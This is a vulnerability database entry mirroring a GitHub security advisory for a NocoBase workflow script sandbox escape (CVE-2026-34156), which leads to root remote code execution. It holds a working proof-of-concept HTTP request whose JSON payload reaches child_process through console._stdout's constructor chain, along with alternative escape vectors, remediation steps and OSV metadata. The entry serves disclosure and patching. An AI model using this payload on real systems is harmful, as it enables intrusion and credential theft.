GHSA-PX3P-VGH9-M57C
Vulnerability from github – Published: 2026-03-30 17:16 – Updated: 2026-03-31 18:50## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child_process')→ unrestricted module loadingchild_process.execSync('id')→ RCE as root
This completely bypasses the customRequire allowlist.
Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB_PASSWORD,INIT_ROOT_PASSWORDfromprocess.env) - Arbitrary file read/write via
require('fs') - Reverse shell confirmed
- Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flow_nodes:test Authorization: Bearer Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest - NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Exploit Usage:
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
Remediation
- Replace Node.js
vmmodule withisolated-vmfor true V8 isolate separation - Do not pass the host
consoleobject into the sandbox; create a clean proxy - Run the application as a non-root user inside Docker
- Restrict
/api/flow_nodes:testto admin-only roles
Alternative Escape Vectors
console._stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.27"
},
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-workflow-javascript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34156"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:16:24Z",
"nvd_published_at": "2026-03-31T14:16:12Z",
"severity": "CRITICAL"
},
"details": "`##` Summary\n\nNocoBase\u0027s Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.\n\nAn authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.\n\n## Exploit Chain\n\n1. `console._stdout.constructor.constructor` \u2192 host-realm `Function` constructor\n2. `Function(\u0027return process\u0027)()` \u2192 Node.js `process` object\n3. `process.mainModule.require(\u0027child_process\u0027)` \u2192 unrestricted module loading\n4. `child_process.execSync(\u0027id\u0027)` \u2192 RCE as root\n\nThis completely bypasses the `customRequire` allowlist.\n\n## Impact\n\n- Remote Code Execution as root (uid=0) inside Docker container\n- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)\n- Arbitrary file read/write via `require(\u0027fs\u0027)`\n- Reverse shell confirmed\n- Outbound network access for lateral movement\n\n## Proof of Concept\n\n**HTTP Request:**\n\nPOST /api/flow_nodes:test\nAuthorization: Bearer \u003cJWT_TOKEN\u003e\nContent-Type: application/json\n\n{\n \"type\": \"script\",\n \"config\": {\n \"content\": \"const Fn=console._stdout.constructor.constructor;const proc=Fn(\u0027return process\u0027)();const cp=proc.mainModule.require(\u0027child_process\u0027);return cp.execSync(\u0027id\u0027).toString().trim();\",\n \"timeout\": 5000,\n \"arguments\": []\n }\n}\n\n**Response:**\n\n{\"data\":{\"status\":1,\"result\":\"uid=0(root) gid=0(root) groups=0(root)\",\"log\":\"\"}}\n\n## Environment\n\n- Docker image: `nocobase/nocobase:latest`\n- NocoBase CLI: v2.0.26\n- Node.js: v20.20.1\n- OS: Debian GNU/Linux 12 (bookworm)\n\n## PoC\n\nGot reverse shell\n\n\u003cimg width=\"1300\" height=\"743\" alt=\"Screenshot 2026-03-26 at 06 09 51\" src=\"https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e\" /\u003e\n\nProof of concept the root privileges\n\n\u003cimg width=\"1292\" height=\"515\" alt=\"Screenshot 2026-03-26 at 06 12 29\" src=\"https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50\" /\u003e\n\nos-release demonstration\n\n\u003cimg width=\"1290\" height=\"523\" alt=\"Screenshot 2026-03-26 at 06 12 54\" src=\"https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00\" /\u003e\n\n\u003cimg width=\"1296\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b\" /\u003e\n\nApp path\n\n\u003cimg width=\"1295\" height=\"516\" alt=\"Screenshot 2026-03-26 at 06 14 04\" src=\"https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245\" /\u003e\n\n## Exploit Usage:\n\nReverse Shell Mode\n\n\u003cimg width=\"1299\" height=\"523\" alt=\"tool1\" src=\"https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569\" /\u003e\n\nDump system information \u0026 creds\n\n\u003cimg width=\"635\" height=\"591\" alt=\"tool2\" src=\"https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8\" /\u003e\n\nRemote Command Execution Mode\n\n\u003cimg width=\"644\" height=\"467\" alt=\"tool3\" src=\"https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec\" /\u003e\n\n\n\n## Remediation\n\n1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation\n2. Do not pass the host `console` object into the sandbox; create a clean proxy\n3. Run the application as a non-root user inside Docker\n4. Restrict `/api/flow_nodes:test` to admin-only roles\n\n## Alternative Escape Vectors\n\n- `console._stderr.constructor.constructor` (identical chain via stderr)\n- `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)\n\n## Reporter\n\nOnurcan Gen\u00e7 \u2014 Independent Security Researcher, Bilkent University",
"id": "GHSA-px3p-vgh9-m57c",
"modified": "2026-03-31T18:50:32Z",
"published": "2026-03-30T17:16:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34156"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/8967"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.